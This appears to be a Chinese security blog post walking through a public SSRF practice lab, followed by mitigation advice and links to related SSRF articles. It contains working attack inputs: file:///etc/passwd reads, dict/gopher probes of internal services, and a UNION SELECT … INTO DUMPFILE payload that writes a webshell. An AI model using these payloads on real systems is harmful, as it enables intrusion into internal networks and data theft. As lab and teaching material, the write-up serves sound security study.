SSRF作为入口点的利用

VSole2022-12-15 10:55:06

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

SSRF入口的利用

SSRF是由一种攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下SSRF的攻击目标是外网无法访问到的内部系统。(正因为请求是由服务器发起的,所以服务器端能请求到与自身相连而与外网隔离的内部系统。)

这里我用了个靶场:

https://github.com/sqlsec/ssrf-vuls

服务端请求访问

常见的攻击协议
Gopher协议
对目标攻击的主要协议
gopher://xxxxx:port/主体
主体部分需要url编码
Dict协议
探测端口操作,以及版本信息
dict://xxxxx:port/info
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379(http也可以)
ftp协议
只能探测是否存在ftp,不能进行爆破
http协议
用来探测是否存在ssrf
sftp:// ldap://
file协议
读取文件协议
刺探支持的协议(修改协议头即可)
gopher://:/_后面接TCP数据流(扫描)
dict://xxxxx:port/info(例:dict://xxxxx:22/info,dict://xxxxx:6379/info)(爆破)
ftp:///etc/passwd(file://c:\windows\win.ini,如果报错返回绝对地址更再好不过了)
http://xxxxx:port/(扫描)
file://(读取文件内容)

靶场

搭建完成后 访问http://url:8080/

随便请求内网,发现套娃 存在SSRF漏洞

http://127.0.0.1:8080

file:///etc/passwd            # 读取配置文件

file:///etc/hosts     	# 查看hosts文件

探索内部资产

可以用dict进行探测服务 加上前面看到了172.72.23.0网段

暴力破解IP和端口

探测到非常多服务

代码

访问172.72.23.22 发现提示,发现里面有一个shell.php的文件

是一个简单的命令执行,使用cat%20/flag 直接读取flag

flag{a8ebc494c479c9f03fc353b3ba81040d}

SQL注入

访问第二个172.72.23.23 是一个sql注入的题目

简单的get注入 判断出为4列

然后进行一些简单查询

接下来直接些webshell了

http://172.72.23.23/?id=1'%20union%20select%201,2,3,''%20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+

命令执行

因为是post提交数据的所以没办法直接提交

gopher://ip:端口/_请求内网POST数据包进行2次URL编码
Accept-Encoding: gzip, deflate   # 记得删除!!!

成功执行命令

防护措施

1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

ssrf
本作品采用《CC 协议》,转载必须注明作者和本文链接
SSRF作为入口点的利用
2022-12-15 10:55:06
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。SSRF入口的利用SSRF是由一种攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下SSRF的攻击目标是外网无法访问到的内部系统。
SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。
一般情况下利用URL解析导致SSRF过滤被绕过基本上都是因为后端通过不正确的正则表达式对URL进行了解析。该方式主要是利用URL解析器和URL请求器之间的差异性发起攻击,由于不同的编程语言实现URL解析和请求是不一样的,所以很难验证一个URL是否合法。下图展示了cURL请求函数与其他语言解析函数结合使用时,由于差异性造成的漏洞。
FastCGI与PHP-FPM FastCGI 快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。
利用SSRF渗透内网主机
2021-12-26 07:39:35
接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
SSRF常用的四种协议
2021-07-19 10:53:05
最近在项目中遇到了ssrf漏洞,并探测到了目标机器上监听127.0.0.1的redis。尝试用ssrf打了一波,虽然最后因权限问题没能成功利用,但也学会了很多新东西,在这里给大家分享一下。
一般情况下,SSRF针对的都是一些外网无法访问的内网,所以需要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。
在研究在 Docker 容器中执行不受信任的 Python 代码会出现什么反应的过程中测试了几个在线代码执行引擎,以了解它们对各种攻击的反应。Qualified 被广泛使用,包括CodeWars 或InterviewCake等网站。能够运行代码与网络访问,且在 Amazon Web Services 中运行。
漏洞描述 Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。 CVE编号:CVE-2014-4210 影响范围: •Oracle WebLogic Server 10.3.6.0 •Oracle WebLogic Server 10.0.2.0 环境搭建
VSole
网络安全专家